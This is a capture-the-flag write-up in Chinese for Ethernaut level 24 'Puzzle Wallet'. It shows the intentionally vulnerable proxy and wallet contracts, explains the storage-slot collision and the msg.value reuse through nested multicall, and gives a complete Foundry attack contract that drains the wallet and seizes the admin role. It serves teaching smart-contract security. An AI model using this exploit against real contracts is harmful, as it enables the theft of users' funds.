# Ethernaut CTF Level 24 - Puzzle Wallet
## 題目
Nowadays, paying for DeFi operations is impossible, fact.
A group of friends discovered how to slightly decrease the cost of performing multiple transactions by batching them in one transaction, so they developed a smart contract for doing this.
They needed this contract to be upgradeable in case the code contained a bug, and they also wanted to prevent people from outside the group from using it. To do so, they voted and assigned two people with special roles in the system: The admin, which has the power of updating the logic of the smart contract. The owner, which controls the whitelist of addresses allowed to use the contract. The contracts were deployed, and the group was whitelisted. Everyone cheered for their accomplishments against evil miners.
Little did they know, their lunch money was at risk…
You'll need to hijack this wallet to become the admin of the proxy.
Things that might help:
* Understanding how delegatecall works and how msg.sender and msg.value behaves when performing one.
* Knowing about proxy patterns and the way they handle storage variables.
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "../helpers/UpgradeableProxy-08.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData)
UpgradeableProxy(_implementation, _initData)
{
admin = _admin;
}
modifier onlyAdmin() {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted() {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success,) = to.call{value: value}(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success,) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
```
<br>
## 分析
題目的contract分為 proxy 以及implementation contract
這樣的做法需要確定兩個合約中variable的排列要一致
因為兩個合約會共用slot,但題目中很明顯的兩個合約參數跟排列都不同
導致兩個合約同時update參數會導致合約邏輯有問題
<br>
### 攻擊思路
簡單攻擊思路如下
1. `PuzzleProxy.proposeNewAdmin()` -> 會覆蓋到 `PuzzleWallet.owner`的值
- 這邊覆蓋成攻擊者contract address
2. 呼叫`PuzzleWallet.addToWhitelist()`
- 把自己加入whitelist
3. 呼叫`PuzzleWallet.setMaxBalance()`
- `PuzzleWallet.maxBalance`會覆蓋`PuzzleProxy.admin`
**但是這邊會失敗,因為無法通過`require(address(this).balance == 0, "Contract balance is not 0");`的驗證**
<br>
### Withdraw funds
所以接下來要來解決這件事情,首先看到題目餘額為`0.001 eth`

<br>
而且題目提供了`PuzzleWallet.deposit()`/`PuzzleWallet.execute()` function可以做deposit跟withdrawal
- 但是只能提取 `balances[msg.sender]`的量
- 我們需要某種方式,能夠deposit `0.001 eth`但達到`0.002 eth`的balance
```sol=
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success,) = to.call{value: value}(data);
require(success, "Execution failed");
}
```
### Multicall
題目中提供了`multicall()`,可以利用這個function
構建一個multicall data長這樣,並在 `msg.Value`只提供0.001 ether
1. deposit
2. multicall (這邊可以function中`bool depositCalled = false;`)
- deposit
```solidity=
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success,) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
```
這樣就可以成功達成以下目標
- 只轉了0.001 ether,但合約中的balance為0.002
- 能夠成功提款
<br>
## 攻擊
Foundry Test
```solidity=
pragma solidity ^0.8;
interface IPuzzleWallet {
// proxy contract
function proposeNewAdmin(address _newAdmin) external;
// implementation contract
function addToWhitelist(address addr) external;
function deposit() external payable;
function multicall(bytes[] calldata data) external payable;
function execute(address to, uint256 value, bytes calldata data) external payable;
function setMaxBalance(uint256 _maxBalance) external;
}
contract AttackPuzzleWallet{
constructor(IPuzzleWallet level24) payable {
// overwrite the slot0
level24.proposeNewAdmin(address(this));
level24.addToWhitelist(address(this));
// multicall
// 1. deposit
// 2. multicall (trigger the `bool depositCalled = false;`)
// - deposit
bytes[] memory deposit_first = new bytes[](1);
deposit_first[0] = abi.encodeWithSelector(level24.deposit.selector);
bytes[] memory data = new bytes[](2);
data[0] = deposit_first[0];
data[1] = abi.encodeWithSelector(
level24.multicall.selector,
deposit_first
);
level24.multicall{value: 0.001 ether}(data);
level24.execute(msg.sender, 0.002 ether, "");
level24.setMaxBalance(uint256(uint160(address(msg.sender))));
// get the ether back :)
selfdestruct(payable(msg.sender));
}
}
```
<br>
## 補充
From Ethernaut
Next time, those friends will request an audit before depositing any money on a contract. Congrats!
Frequently, using proxy contracts is highly recommended to bring upgradeability features and reduce the deployment's gas cost. However, developers must be careful not to introduce storage collisions, as seen in this level.
Furthermore, iterating over operations that consume ETH can lead to issues if it is not handled correctly. Even if ETH is spent, msg.value will remain the same, so the developer must manually keep track of the actual remaining amount on each iteration. This can also lead to issues when using a multi-call pattern, as performing multiple delegatecalls to a function that looks safe on its own could lead to unwanted transfers of ETH, as delegatecalls keep the original msg.value sent to the contract.
Move on to the next level when you're ready!